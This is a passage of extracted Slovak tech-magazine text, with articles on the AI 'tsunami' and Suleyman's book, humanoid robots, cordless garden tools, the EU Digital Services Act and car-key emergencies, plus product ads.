inteligencie dodáva: „Bude to podobné, ako keby sme mali inteligen-
ciu ako tovar – lacný, široko dostupný, vďaka ktorému bude každý 
inteligentnejší a produktívnejší.“

K rovnakému záveru dospel aj Vasant Dhar, profesor na Sternovej 
škole a jeden z riaditeľov doktorandského programu v Centre pre 
dátovú vedu na Newyorskej univerzite: „Predtrénované jazykové 
modely zmenili umelú inteligenciu z aplikácie na technológiu na 
všeobecné použitie. V tomto procese sa inteligencia stáva tovarom.“ 
Prirovnáva ju k elektrine, ktorá prenikla do veľkej časti každoden-
ného života – od vykurovania domácností až po osvetlenie, poháňa 
výrobné zariadenia a prakticky všetky naše spotrebiče, ktoré šetria 
prácu. Suleyman predpovedá, že AI objaví zázračné lieky, diagnos-

tikuje vzácne choroby, bude riadiť sklady, optimalizovať dopravu a 
navrhovať udržateľné mestá.

V súčasnosti sa všeobecne uznáva, že AI zmení pravidlá hry aj v 
oblasti podnikania. Očakáva sa, že zvýši efektivitu a produktivitu, 
zníži náklady a vytvorí nové príležitosti. Generatívna AI sa už používa 
na vývoj personalizovaných marketingových kampaní, generovanie 
kreatívneho obsahu a automatizáciu úloh zákazníckeho servisu. Je 
už vynikajúcim editorom písaného obsahu a stáva sa aj čoraz lepším 
spisovateľom. Čoskoro bude aj lepším učiteľom. Podľa Sala Khana, 
zakladateľa Khan Academy, dokáže táto technológia poskytnúť kaž-
dému študentovi personalizovaného učiteľa.

Ak to nazveme len vlnou, pravdepodobne nedoceňujeme vplyv 
umelej inteligencie. Niektorí to označujú za cunami. Suleyman tvrdí, 
že AI „nepredstavuje nič menšie ako zásadnú zmenu ľudských schop-
ností a ľudskej spoločnosti, ktorá prináša riziká aj inovácie v úžasnom 
rozsahu“.

Emil Skandul, zakladateľ spoločnosti Capitol Foundry, ktorá sa za-
oberá digitálnymi inováciami, sa domnieva, že „do globálnej ekono-
miky sa chystá prílivová vlna“. Dodáva, že by to mohlo zvýšiť životnú 
úroveň, zlepšiť produktivitu a urýchliť ekonomické príležitosti, ale 
podotýka, že ružová budúcnosť nie je zaručená.

Ako spoločnosť sme sa naučili vyrovnať sa s informačným vekom v 
dobrom aj zlom. Teraz nás však čakajú ešte väčšie zmeny vyplývajúce 
z vplyvu umelej inteligencie a komoditizácie inteligencie. Preto je 
dôležité byť pripravený na zmeny na osobnej aj spoločenskej úrovni. 
To znamená, že budeme musieť byť ochotní učiť sa nové veci vrátane 
toho, ako používať nástroje najnovšej generácie AI a prispôsobiť sa 
novým spôsobom vykonávania činností.

Všetci si budeme musieť vyvinúť robustnú flexibilitu, aby sme sa 
úspešne prispôsobili. Tvárou v tvár cunami AI nejde len o to, aby sme 
prežili, ale aby sme sa naučili plávať na vlne a prosperovať v transfor-
movanom svete.

»  ZDROJ:  VENTUREBEAT.COM/ 
ÚVODNÝ OBR. ZDROJ:  VECSTOCKON FREEPIK.COM

PRIPRAVME SA NA CUNAMI  
UMELEJ INTELIGENCIE

Nedávno vyšla kniha The Coming Wave (Prichádzajúca vlna) od Mustafu Suleymana, generálneho 
riaditeľa a spoluzakladateľa spoločnosti Inflection AI, ktorý bol predtým aj jedným zo zakladateľov 

priekopníckeho laboratória umelej inteligencie DeepMind. 
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Poradíme Vám s vašim 
aktuálnym eshopom
Ivan Kopčík je e-commerce konzultant, ktorý poskytuje expertné poradenstvo 
prostredníctvom osobného prístupu zameraného na optimalizáciu, rast 
a vylepšenie vášho e-shopu. Viac ako desaťročné skúsenosti s tvorbou 
e-shopov nám a nášmu tímu umožňujú ponúknuť jedinečné konzultácie 
a perspektívu, ktorá v sebe integruje viaceré odvetvia nevyhnutné pre 
budovanie úspešných online obchodov.

Partneri pre 
úspešný eshop

Mgr. Ivan Kopčík
CEO
ivan@forbestclients.com
+421 904 313 492 

Mgr. Róbert Lešundák
Sales
robert@forbestclients.com
+421 911 111 379

forbestclients.com

grandus.sk

Profesionálny a prémiový  
systém pre eshop

Vytvorili sme inovatívny eshop systém, ktorý oslní vý-
konom, presvedčí funkcionalitou a pomôže predajom 
prevádzkovaným eshopom.

Programovanie, prepájanie  
a prispôsobovanie na mieru

Vďaka precízne navrhnutej architektúre našich riešení 
dokážeme dizajn výsledného eshopu plne prispôsobiť 
požiadavkám, vytvoriť ho nanovo alebo ho prepojiť  
s rôznymi systémami.



No hoci by toto odvetvie mohlo mať 
do roku 2028 hodnotu 13,8 miliardy 

dolárov, podľa MarketsandMarkets je ešte 
dlhá cesta k tomu, aby sme stretávali hu-
manoidných robotov v uliciach, prípadne 
nás nahradili v práci. Web Business Insider 
sa však pozrel na osem najpokročilejších 
prototypov.

Dvojnohý robot Apollo  
od spoločnosti Apptronik

Humanoidný robot by sa mal dostať na 
všetky miesta, kam sa dostane človek, a 
používať rovnaké nástroje, aké môžu po-
užívať ľudia, hovorí generálny riaditeľ 
Apptronik Jeff Cardenas. „To im umožní 
integrovať sa do sveta, ktorý je vytvorený 
pre nás, namiesto toho, aby sme museli 
upravovať svet pre robotov.“ Apptronik 
začal v roku 2016 v robotickom laborató-
riu na Texaskej univerzite. Jeho úsilie vyvr-
cholilo spoluprácou s NASA na robotovi s 
názvom Valkyrie.  

Vesmírny robot Valkyrie od NASA
Je navrhnutý na prácu v „špinavých a ne-
bezpečných podmienkach“ vo vesmíre. 
Mal by vykonávať prácu v drsných pod-
mienkach, aké sa nachádzajú na Mesiaci, 
uvádza sa na webovej stránke agentúry. 

Výskumný robot  
Robot „umožní prelomy v ovládaní hu-
manoidov, plánovaní pohybu a vnímaní,“ 
uvádza sa na webovej stránke univerzity. 
Univerzita vykonáva výskum pomocou ro-
bota, ktorého opisuje ako „jedného z naj-
pokročilejších humanoidných robotov na 
svete“.

Robot Ameca od Engineered Arts
Vo videu, ktoré spoločnosť Engineered Arts 
zverejnila na YouTube, Ameca uviedla, že 
vytvára rôzne scenáre, ktoré jej pomáhajú 
spoznávať svet. Zakladateľ a generálny ria-

HUMANOIDNÝCH  
ROBOTOV
Roboty podobné ľuďom sú už dlho predmetom 
sci-fi filmov, ale technologické spoločnosti 
sa stále viac približujú k tomu, aby sa stali 
každodennou realitou.

8 NAJPOKROČILEJŠÍCH 
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diteľ Engineered Arts Will Jackson sa však 
vyjadril, že Ameca je „jazykový model“ a 
dodal, že „nie je vnímavý“ a nemá „žiadnu 
dlhodobú pamäť“. „Nezabúdajte, že je to 
stroj a funguje na základe kódu. Je lákavé 
pripisovať mu ľudské vlastnosti a schop-
nosti, ale tie tam nie sú. Je to ilúzia, nie-
kedy dosť silná,“ dodal.

Robot Digit  
od spoločnosti Agility Robotics

Testuje ho Amazon vo výskumnom a vývo-
jovom centre. „Digit je navrhnutý tak, aby 
išiel tam, kam chodia ľudia, a bezpečne vy-
konával užitočnú prácu v priestoroch ur-
čených pre ľudí, počnúc manipuláciou so 
sypkým materiálom v skladoch a distribuč-
ných centrách,“ povedal spoluzakladateľ a 
generálny riaditeľ Agility Robotics Damion 
Shelton.

Robot Mika spoločnosti Dictador
Výrobca nápojov Dictador minulý rok vy-
menoval za svojho generálneho riaditeľa 
humanoidného robota. Medzi jeho úlohy 
patrí pomoc pri hľadaní potenciálnych 
klientov a výber umelcov, ktorí navrhnú 
fľaše pre výrobcu rumu. Dostal aj titul čest-
ného profesora na Varšavskej univerzite 
manažmentu a nedávno dokonca vystúpil 
s prejavom na slávnostnom odovzdávaní 
cien. Robot Mika hovorí cez reproduktor 
v ústach. Je pripojený k 12 modelom AI 
naraz (vrátane GPT a špeciálneho modelu 

AI Dictador) a jeho dialóg sa generuje po 
zhromaždení údajov zo všetkých alebo 
väčšiny z nich.

Robot Optimus  
od spoločnosti Tesla

Predstavený bol v roku 2022 a Elon Musk 
tvrdil, že spoločnosť môže byť schopná 
prijímať objednávky na svojho huma
noidného robota do troch až piatich rokov. 
„Optimus pred rokom ledva chodil a teraz 
môže cvičiť jogu. Takže o pár rokov bude 
pravdepodobne vedieť robiť balet,“ pove-
dal miliardár. 

Robotka Sophia  
od Hanson Robotics

Sophia bola vytvorená tímom spoločnosti 
Hanson Robotics vedeným vývojárom a 
generálnym riaditeľom Davidom Hanso-
nom. Robot vystúpil na podujatí Future 
Investment Initiative, ktoré sa konalo v 
saudskoarabskom Rijáde v roku 2017. Ob-
javil sa aj na mnohých konferenciách po 
celom svete vrátane Svetového ekonomic-
kého fóra a globálneho summitu AI For 
Good.

Roboty spoločnosti  
Boston Dynamics

Od mája môžu robotické psy spoločnosti, 
známe ako Spot, hovoriť celými vetami. 
Spoločnosť AI Levatas sa spojila s Boston 

Dynamics s cieľom integrovať ChatGPT od 
OpenAI do robotických psov. Humanoidné 
roboty Boston Dynamics, nazývané Atlas, 
sa dokážu rýchlo pohybovať a skákať cez 
prekážky, ako ukázalo publikované video.

»  ZDROJ+FOTO:  BUSINESSINSIDER.COM/

ÚVODNÝ OBR ZDROJ: VECSTOCK  ON FREEPIK



Akumulátorové náradie a stroje majú síce 
o niečo nižší výkon ako benzínové, prí-

padne stroje s elektromotorom a prívodným 
káblom, ale majú veľa výhod. V konečnom 
dôsledku sú aj lacnejšie, pretože celý systém 
môže využívať jeden akumulátor, prípade 
súpravu akumulátorov.

Pri výbere sa treba zamyslieť nad kompa-
tibilitou akumulátorov nielen v rámci záhrad-
ného náradia, ale aj náradia v dielni. Ak už 
máte niekoľko druhov náradia rovnakej značky 
a k nim určitý počet akumulátorov a rýchlona-
bíjačku, bude pravdepodobne výhodné kúpiť 
si aj záhradné náradie rovnakej značky, aby ste 
v ňom mohli využiť svoje akumulátory. 

Ekonomické, ekologické  
     a prevádzkové výhody
Záhradné mechanizmy, či už ide o ko-
sačky, vyžínače, krovinorezy, vertikutátory 
na údržbu trávnikov, alebo reťazové píly, 
fúkače a vysávače lístia s benzínovým mo-
torom na nekomerčné domáce použitie, 
sa využívajú len niekoľko hodín do týždňa 
alebo do mesiaca v období od jari do je-
sene. Inak povedané, jeden stroj, napríklad 
záhradná kosačka, by teoreticky pokryl 
potreby siedmich až desiatich rodinných 
domov so záhradkami. Podobné je to aj s 
ostatnými strojmi a náradím, ale takéto 
zdieľanie mechanizácie je zatiaľ v rozpore s 
naším naturelom, takže v súčasnosti každý 
majiteľ záhrady sám vlastní všetku potrebnú 
mechanizáciu. Najdrahším komponentom 

týchto mechanizmov je jednoznačne ben-
zínový motor, takže každý majiteľ musí in-
vestovať do 3 – 4 motorov. Naproti tomu 
pri mechanizmoch s elektrickým pohonom 
je najdrahším komponentom akumulátor. 
Ten však na rozdiel od spaľovacieho motora 
môžeme používať s viacerými zariadeniami, 
pravda, iba ak sú navzájom kompatibilné. 
Samozrejme, ťažkú veľkokapacitnú batériu 
z kosačky nebudeme používať v nožniciach 
na živý plot, takže väčšinou budeme potre-
bovať dve súpravy akumulátorov, ťažšie s 
vyššou kapacitou pre výkonnejšie stroje a 
ľahšie pre ručné náradie.  

Hobby verzus profi náradie
Ďalšie kritérium výberu je kvalita a tr-
vanlivosť náradia. Hlavne ak máte väčšiu 
záhradu, oplatí sa zainvestovať do kvalit-
nejšieho náradia, takzvanej profi triedy. Ná-
radie tejto triedy je vyrobené z pevnejších 
materiálov, takže sa pri náraze alebo páde 
nepoškodí, využívajú sa kvalitné a trvan-
livé ložiská, namáhané súčiastky sú z ocele 
alebo pevných kovových zliatin. Motory 
vrátane ich chladenia sú dimenzované na 
dlhšiu nepretržitú prevádzku, sú bezkomu-
tátorové, takže odpadá starosť so zháňaním 
a výmenou takzvaných uhlíkov. Takisto je 
zohľadnené aj ergonomické hľadisko, na-
príklad účinné tlmenie vibrácií, pretože sa 
predpokladá, že s náradím budete pracovať 
častejšie a dlhšie. Samozrejme, tieto atri-
búty sa prejavia na cene. 

Kapacita a výdrž batérií 
Akumulátory používané pre ručné elektrické 
náradie najčastejšie využívajú články typu 
18650, pričom jeden článok má menovité na-
pätie 3,6 V. Články sú zapojené do série na 
dosiahnutie vyššieho napätia, pri väčších aku-
mulátoroch sériovo-paralelne, aby sa dosiahla 
aj vyššia kapacita. Na štítkoch v závislosti od 
veľkosti a kapacity akumulátora býva uvedené 
napätie 12 V, 18 V, 20 V či 40 V. Akumulátor s 
napätím 18 V aj 20 V obsahuje päť článkov za-
pojených do série, takže menovité výsledné 
napätie je 18 V. Niektorí výrobcovia z marketin-
gových dôvodov uvádzajú vyššie napätie 20 V. 
Má to určité technické opodstatnenie, pretože 
3,6 V je nominálne napätie, ale plne nabitý člá-
nok môže mať napätie až 4 V či 4,2 V, takže 5 
článkov v plne nabitom stave môže mať 20 V. 
Inak povedané, medzi 18 V a 20 V akumulátormi 
nie je technický, ale len marketingový rozdiel. 

Niektoré typy náradia s vyšším výkonom, na-
príklad reťazová píla, využívajú na dosiahnutie 
požadovanej kapacity namiesto jedného veľ-
kého akumulátora 40 V/8 Ah dva menšie aku-
mulátory 20 V/8 Ah, ktoré sú kompaktnejšie a 
z náradia nevyčnievajú. Údaj 40 V/8 Ah zna-
mená, že z takéhoto akumulátora alebo tan-
demu akumulátorov by sme mohli pri napätí 
40 V odoberať počas jednej hodiny prúd 8 A. 
Názornejší bude údaj vo Wh (watthodina): 40 V 
× 8 Ah = 320 Wh. Akumulátor by motor s výko-
nom 320 W utiahol jednu hodinu, s výkonom 
640 W pol hodiny a motor s výkonom 1280 W 
15 minút. Takže menšiu reťazovú pílu takýto 

AKUMULÁTOROVÉ  
ZÁHRADNÉ STROJE A NÁRADIE

Väčšina predajcov záhradnej techniky má v ponuke kolekciu akumulátorového 
záhradného náradia a mechanizmov ako alternatívu k pohonu spaľovacím motorom. 
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akumulátor utiahne počas 15 minút intenzív-
neho rezania. Náradie tohto typu používame 
prerušovane, a tak s ním budeme pracovať 
podstatne dlhšie.

Elektrické stroje a náradie majú, samo-
zrejme, zmysel iba vtedy, ak máte vyriešené 
nabíjanie. Predstavte si typický scenár zá-
hradky s chatkou v oblasti, kde nie je elektrina. 
V takom prípade si musíte priviezť toľko nabi-
tých batérií, aby ste s nimi dokázali vykonať 
požadované činnosti. Na ilustráciu, kosačka so 
šírkou kosenia 40 cm dokáže s akumulátorom 
40 V/8 Ah kosiť 50 – 60 minút a podľa údajov 
výrobcu môžete pokosiť približne 400 m2. 
Závisí to však od okolností, pretože je rozdiel 
medzi kosením nízkeho, pravidelne udržia-
vaného trávnika a kosením vyššej a hustejšej 
trávy. Čas nabíjania bude závisieť od toho, či 
použijete rýchlonabíjačku, alebo lacnejšiu 
štandardnú nabíjačku. Výkonná nabíjačka do-
káže nabiť akumulátor s kapacitou 4 Ah za 20 
minút. Ak máte dva akumulátory a počas práce 
druhý akumulátor priebežne nabíjate, tak aj s 
náradím, ktoré má vysoký príkon, môžete pra-
covať prakticky nepretržite. 

Väčšie stroje
Väčšie stroje, ako napríklad záhradné kosačkové 
traktory, majú motor s výkonom 2 – 4 kW, takže 
na dosiahnutie požadovaného času fungova-
nia potrebujú akumulátory s vyššou kapacitou, 
ktoré sú väčšie a ťažšie, takže sú zabudované 
v konkrétnom stroji a v ňom sa aj nabíjajú. Z 
pohľadu domáceho používateľa by ani nemalo 
význam, aby sa akumulátory zo záhradného 
traktora dali preložiť do iného stroja. Akumu-
látor z kosačky môžete použiť do vertikutátora, 
motorovej píly, fúkača alebo vysávača, prípadne 
do tlakovej umývačky, ale stroj veľkosti kosač-
kového traktora máte doma väčšinou len jeden. 

Resumé
Stroje a náradie s elektromotorom sú v porov-
naní s ekvivalentmi s benzínovým motorom 
konštrukčne jednoduchšie a aj spoľahlivej-
šie, pretože majú oveľa menej pohyblivých 
súčiastok. Nemajú spaľovací motor, prevo-
dovku, zapaľovanie, pri väčších strojoch ani 
štartovaciu batériu a štartér, nemajú chladiaci 
systém ani výfuk, čo sú záležitosti, ktoré si pri 
klasických strojoch so spaľovacím motorom 
vyžadujú údržbu. Takisto nie je potrebná vý-
mena oleja, olejových ani vzduchových filtrov. 
Elektromotor navyše poskytuje vysoký krútiaci 
moment už od minimálnych otáčok. Veľkou 
výhodou elektrických strojov je aj minimálna 
hlučnosť a nulové priame emisie. 
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Akumulátorová píla na konáre PARKSIDE PAAS 12 A2 je kompaktná priamočiara píla 
s 12 V batériou, ktorá je vhodná na rôzne typy rezov a pílenie v záhrade. Nízka hmot-
nosť, ergonomický tvar, protišmykové držadlo s mäkkým povrchom zaisťujú bezpečnú 
manipuláciu. Píla je vybavená aj pripojiteľným držia-
kom na konáre a rýchloupínacím skľučovadlom. 
Táto píla je kompatibilná s akýmkoľvek akumulá-
torom série PARKSIDE X 12 V Team.

PARKSIDE® AKU PÍLA NA KONÁRE PAAS 12 A2

BOSCH EASYSHEAR

Nožnice na trávu – akumulátorové, 
ergonomická násada, dĺžka čepele 
12 cm, šírka čepele 80 mm, materiál 
čepele oceľ, šírka záberu 8 cm, na 1 
akumulátor, v balení nabíjačka, lišta 
na kry, napätie akumulátora 3,6 V, 
kapacita akumulátora 1,5 Ah, doba 
chodu 40 min, hmotnosť 530 g

Šikovné zariadenie s optimálnym rozložením hmotnosti 
zhromažďuje aj vlhké listy z ťažko prístupných rohov. 
Funkčné zariadenie 3-v-1 s veľkým objemom zberného 
vreca, sa ovláda pomocou voliacej páky, čo umož-
ňuje súčasné použitie funkcií vysávania a vyfuko-
vania. Vďaka nastaviteľnej regulácii rýchlosti je 
možné optimálnu rýchlosť vzduchu prispôso-
biť požadovanému čistiacemu účinku, od 
jemného vetra po dočasný Turbo Boost. 
Vysávač lístia akumulátorový, objem 
zberného vaku 45 l, funkcie: s fúkaním,  
hmotnosť 5kg

KÄRCHER BLV 18-200 BATTERY 18V

 Cena: 29,99 EUR

 Viac info: https://lnk.sk/cnn4

 Cena: 50 EUR

 Cena: 183 EUR



DSA určuje pravidlá a povinnosti pre digi-
tálne služby, ktoré fungujú ako sprostred-

kovatelia, teda prepájajú používateľov s 
tovarom, službami a obsahom. Pravidlá zákona 
o digitálnych službách sa začnú uplatňovať na 
všetky platformy od 17. februára 2024. Od 
konca augusta 2023 sa už tieto pravidlá v EÚ 
uplatňujú na určené platformy s viac ako 45 
miliónmi používateľov (10 % obyvateľstva EÚ), 
tzv. veľmi veľké online platformy (VLOP) alebo 
veľmi veľké internetové vyhľadávače (VLOSE).

Server ulozto.cz do konca roku 2023 fungoval 
tak, že ste mohli sťahovať aj súbory, ktoré tam 
uložili iní používatelia. Bolo možné tam nahrať 
akýkoľvek druh súborov vrátane hudby a videí a 
verejne ich zdieľať. Server profitoval z toho, že pri 
rýchlom sťahovaní sa platilo za objem sťahova-
ných súborov. Následne vyplácali podiel použí-
vateľom, ktorí obsah zverejnili. Od 1. 12. 2023 v 
súvislosti s európskym legislatívnym predpisom 
DSA môžu používatelia sťahovať len obsah, ktorý 
si na server sami uložili. Súbory nemožno verejne 
zdieľať ani poskytnutím URL adresy. 

Zákonom o digitálnych službách sa regulujú 
online sprostredkovatelia a platformy, ako sú 
trhoviská, sociálne siete, platformy na zdie-
ľanie obsahu, obchody s aplikáciami, ako sú 

Google Play, Apple App Store, Microsoft Store, 
Huawei App Gallery, a online platformy pre 
cestovanie a ubytovanie. Jeho hlavným cie-
ľom je predchádzať nezákonným a škodlivým 
aktivitám na internete a šíreniu dezinformácií. 
Zaisťuje bezpečnosť používateľov, chráni zá
kladné práva a vytvára spravodlivé a otvorené 
prostredie online platforiem. Online platformy 
prepájajú predajcov a spotrebiteľov, ako naprí-
klad elektronické trhoviská, obchody s apliká-
ciami, platformy kooperačného hospodárstva 
či platformy sociálnych sietí. DSA reguluje aj 
hostingové služby, napríklad cloudové a we-
bové hostingové služby, a sprostredkovateľ-
ské služby ponúkajúce sieťovú infraštruktúru: 
poskytovatelia služby pripojenia na internet a 
registrátori domén. Všetci online sprostredko-
vatelia ponúkajúci svoje služby na jednotnom 
trhu budú musieť tieto nové pravidlá dodržia-
vať bez ohľadu na to, či sú usadení v EÚ, alebo 
mimo nej.

Používatelia
V súčasnosti nie sú základné práva európskych 
občanov na internete dostatočne chránené. 
Platformy sa môžu napríklad rozhodnúť, či od-

stránia obsah používateľov, a to bez toho, aby 
o tom používateľa informovali alebo poskyto-
vali možnosť nápravy. To má závažné dôsledky 
na slobodu prejavu používateľov. Online plat-
formy sú digitálnym priestorom, v ktorom sa 
vyjadrujeme, prezentujeme našu prácu a sme 
v kontakte s priateľmi alebo zákazníkmi. To je 
dôvod, prečo je obzvlášť frustrujúce, keď sa 
náš obsah odstráni, prípadne je dosah našich 
príspevkov nevysvetliteľne znížený. Poskyto-
vatelia sprostredkovateľských služieb vrátane 
online platforiem musia prostredníctvom zá-
kona o digitálnych službách oznámiť svojim 
používateľom dôvody, prečo odstránili ich 
obsah alebo prečo bol prístup k účtu obme-
dzený. Poskytovatelia hostingových služieb 
vrátane online platforiem majú teraz výslovnú 
právnu povinnosť poskytnúť jasné a konkrétne 
odôvodnenia svojich rozhodnutí o modero-
vaní obsahu. Zákon o digitálnych službách 
takisto umožňuje používateľom napadnúť 
takéto rozhodnutia prostredníctvom mecha-
nizmu mimosúdneho urovnávania sporov. Po-
užívatelia budú mať prístup k mechanizmom 
riešenia sporov vo svojej krajine.

Platformy v súčasnosti optimalizujú pre-
zentáciu informácií, aby prilákali pozornosť 

ČO PRINÁŠA DSA  
PRE FIRMY A ČO PRE SPOTREBITEĽOV 
Digital Services Act (DSA) upravujúci sektor digitálnych služieb vstúpil do širšieho 

povedomia hlavne v súvislosti so zmenou fungovania populárneho servera ulozto.cz. 
Cieľom nariadenia je zabezpečiť fungovanie jednotného trhu, udržiavať bezpečné online 

prostredie a chrániť základné práva používateľov. 
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AOC GAMING Q27G4X 
Herný monitor s uhlopriečkou 27" (68 cm), rozlíšením QHD 
(2560 × 1440 pixelov), latenciou 0,5 ms MPRT, frekvenciou 180 
Hz a podporou Adaptive-Sync poteší každého hráča. Je to op-
timálny mix parametrov za veľmi dobrú cenu. Inšpiráciou pre 
atraktívny dizajn boli lietadlá stealth s výraznými líniami a troju-
holníkovými tvarmi. Fast IPS panel je zárukou presných farieb, 
o čom svedčí aj 93,5 % pokrytie DCI-P3. Samozrejmosť je certi-
fikácia VESA DisplayHDR 400. Technológia Flicker-Free a režim 
LowBlue chránia váš zrak aj pri dlhšom sledovaní. 

 Cena:  269 EUR
 Viac info: www.aoc.com

a generovali príjmy, ale ich používatelia 
často nevedia, ako ich systémy triedia obsah 
a ako ich platformy profitujú. Manipulácia s 
odporúčacími systémami a zneužívanie re-
klamných systémov môže viesť k šíreniu ne-
bezpečných dezinformácií a nezákonného 
obsahu.

DSA chráni spotrebiteľov a ich základné 
práva na internete tým, že stanovuje jasné 
a primerané pravidlá. Podporuje inovácie, 
rast a konkurencieschopnosť a uľahčuje ex-
panziu menších platforiem, MSP a startupov. 
Úlohy používateľov, platforiem a verejných 
orgánov sa znovu vyvažujú tak, aby boli v 
súlade s európskymi hodnotami a do cen-
tra pozornosti stavali občanov. Medzi ciele 
zákonodarcov patrili aj účinnejšia ochrana 
detí online či nižšie riziko vystavenia nezá-
konnému obsahu. 

Vďaka zákonu o digitálnych službách a 
zákonu o digitálnych trhoch vznikne bez-
pečnejší a otvorenejší digitálny priestor pre 
všetkých používateľov, kde budú chránené 
ich základné práva a kde budú mať prístup 
ku kvalitným digitálnym službám za nižšie 
ceny. DSA definuje jednoduchý a prehľadný 
spôsob nahlasovania nezákonného obsahu, 
tovaru alebo služieb na online platformách. 
Takisto zákaz cielenej reklamy na online 
platformách, zameranej na zraniteľné ka-
tegórie, hlavne na maloleté osoby, alebo 
používanie citlivých osobných údajov. Naria-
denie definuje mechanizmy rýchlej reakcie 
na krízy s dodatočnými opatreniami na ria-
denie rizík v prípade kríz v oblasti verejného 
zdravia a bezpečnosti.

Online platformy môžu zaviesť opatrenia 
na overenie veku na kontrolu toho, kto má 
prístup k ich službám, rodičovskú kontrolu, 
aby rodičia a opatrovníci mohli chrániť deti 
pred rizikom vystavenia škodlivému obsahu, 

a nástroje, v rámci ktorých môžu používatelia 
signalizovať zneužívanie. Napríklad TikTok a 
YouTube okrem zákazu cielených reklám pre 
maloleté osoby automaticky nastavili profily 
maloletých na súkromné, čo znamená, že 
videá, ktoré nahrajú, si môžu prezerať len 
osoby, ktoré maloletí schvália. 

Firmy
Na poskytovanie digitálnych služieb v EÚ sa 
v súčasnosti vzťahuje 27 rôznych súborov 
vnútroštátnych pravidiel. Výsledné náklady 
na dodržiavanie predpisov vedia znášať len 
najväčšie spoločnosti. Zákon o digitálnych 
službách a zákon o digitálnych trhoch vytvá-
rajú rovnaké podmienky, ktoré inovačným 
digitálnym podnikom umožnia rásť v rámci 
jednotného trhu a byť konkurencieschop-
nými na celosvetovej úrovni. V celej EÚ sa 
budú uplatňovať rovnaké pravidlá, ktoré 
budú tvoriť základ pre rast a prosperitu roz-
siahleho domáceho trhu s digitálnymi služ-
bami. 

Poskytovateľom digitálnych služieb DSA 
poskytuje právnu istotu a jednotné pravidlá 
v celej EÚ, prístup na trhy v celej EÚ prostred-
níctvom platforiem či rovnaké podmienky v 
boji proti šíriteľom nezákonného obsahu.

Firmu budú môcť využívať nové jednodu-
ché a účinné mechanizmy na označovanie 
nezákonného obsahu a tovaru, ktorým sa 
porušujú ich práva vrátane práv duševného 
vlastníctva alebo ktorý im nekalým spôso-
bom konkuruje.

Veľké platformy a vyhľadávače
Systémová úloha niekoľkých online platfo-
riem ovplyvňuje životy miliárd používateľov 
a miliónov spoločností v Európe. Niektoré 

spoločnosti majú významný vplyv na digi-
tálne trhy, kontrolujú prístup k nim a sú na 
nich dobre udomácnené. Môžu svojim ko-
merčným používateľom aj spotrebiteľom 
ukladať nespravodlivé podmienky v zmysle 
hesla „ber alebo nechaj tak“. Pri veľkých on-
line platformách a vyhľadávačoch, ako sú 
Google, Facebook, Instagram, TikTok, Micro-
soft, X (bývalý Twitter), YouTube, Snapchat, 
existuje osobitné riziko šírenia nezákon-
ného obsahu a spoločenských škôd, ktoré 
sú s tým spojené. Preto sú pre platformy, 
ktoré oslovujú viac ako 10 % zo 450 milió-
nov spotrebiteľov v Európe, definované 
osobitné pravidlá, ktoré sa uplatňujú od 
augusta 2023.

V DSA sa od veľkých platforiem a vy-
hľadávačov tiež vyžaduje, aby účinnými 
opatreniami identifikovali, analyzovali a 
zmierňovali riziká súvisiace s volebnými 
procesmi a zároveň zabezpečili ochranu slo-
body prejavu. Zhodou okolností slovenské 
parlamentné voľby 30. septembra 2023 boli 
prvým testovacím prípadom pre tieto po-
žiadavky. Dosiahol sa určitý pokrok, pokiaľ 
ide o kratšie časy reakcie na nahlasovanie zo 
strany miestnych orgánov, jasnejšie procesy 
eskalácie dezinformácií a zvýšenie kapacít 
na overovanie faktov.

Sankcie
Firmám podnikajúcim v sektore digitálnych 
služieb, ktoré budú porušovať pravidlá, 
hrozia pokuty až do výšky šesť percent ich 
celosvetových príjmov, čo sú v prípade 
globálnych gigantov miliardy eur, alebo až 
zákaz prístupu na trh v EÚ. 
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  Vytiahnutie kľúča za jazdy – nebu-
deme riešiť, prečo môže taká situácia nastať, 
môže to napríklad byť nudiaci sa alebo z rôz-
nych dôvodov nahnevaný tínedžer na pred-
nom sedadle. Jednoducho sa môže stať, že 
vám počas jazdy spolujazdec vytiahne kľúč 
zo spínacej skrinky. Dôsledkom pri starších 
klasických autách s benzínovým motorom 
je, že zhasne motor. Auto, samozrejme, ide 
zotrvačnosťou ďalej, pričom spomaľuje, 
pretože brzdí motorom. Intenzita brzdenia 
závisí od zaradeného prevodového stupňa, 
čím nižší stupeň máte zaradený, tým viac 
vozidlo spomaľuje. Situácia je veľmi nebez-
pečná, pretože pri väčšine starších áut sa po 
vytiahnutí kľúča aktivuje mechanické zamy-
kanie volantu a volant sa pri najbližšom po-
otočení uzamkne. Takže treba začať brzdiť a 
auto čím skôr zastaviť, pričom sa podľa mož-
nosti treba vyhnúť pohybom volantu. Ne-
musíte mať obavy, že pri vypnutom motore 
nebude fungovať podtlakový posilňovač 
bŕzd. Brzdy budú fungovať normálne, pre-
tože každé auto má takzvaný zásobník pod-
tlaku, ktorý stačí na tri až štyri zabrzdenia po 
vypnutí motora. Pri moderných vozidlách so 
smart kľúčom a tlačidlom Štart/Stop stačí, 
ak je elektronický kľúč v aute. Ak vám ho 
spolujazdec počas jazdy z rôznych dôvodov 
vyhodí z okna, okrem zvukovej, prípadne 
textovej signalizácie na displeji sa nestane 

nič, môžete ďalej pokračovať v jazde. Prí-
padne sa signalizácia spustí, až keď zastavíte 
a otvoríte dvere vodiča. Samozrejme, treba 
čo najskôr bezpečne zastaviť a kľúč nájsť, 
pretože po zastavení a vypnutí motora už 
auto znovu nenaštartujete. Niektoré autá po 
vypnutí motora, ak je kľúč mimo vozidla, na 
displeji alebo hlasom oznámia, že vodič má 
10 – 20 sekúnd, aby motor znova naštarto-
val. Potom sa už motor naštartovať nedá. Ak 
tlačidlo Štart/Stop krátko stlačíte počas jazdy 
nízkou rýchlosťou, motor sa vypne a vozidlo 
zastane. Pri vyššej rýchlosti sa nestane nič a 
auto pokračuje v jazde. Ak tlačidlo Štart/Stop 
pridržíte stlačené niekoľko sekúnd, vypne 
sa zapaľovanie, čiže s výnimkou zamknutia 
volantu nastane rovnaká situácia ako pri vy-
bratí klasického kľúča zo spínacej skrinky. 

  Odtiahnutie auta s automatickou 

prevodovkou – najčastejšie takáto situácia 
vzniká v súvislosti z vybitou batériou. Na-
príklad stačí, aby ste v aute mali sledovací 
systém GPS a dva-tri týždne ním nejazdili. 
V takejto situácii elektronický volič režimu 
automatickej prevodovky nefunguje, a teda 
ho nemôžete prepnúť z režimu parkovania 
na neutrál. Konštruktéri našťastie na takúto 
situáciu pamätali a zabudovali bezpeč-
nostnú poistku, po ktorej odistení môžete 
manipulovať s voličom prevodovky. Po za-
radení neutrálu možno vodidlo odtlačiť tak, 

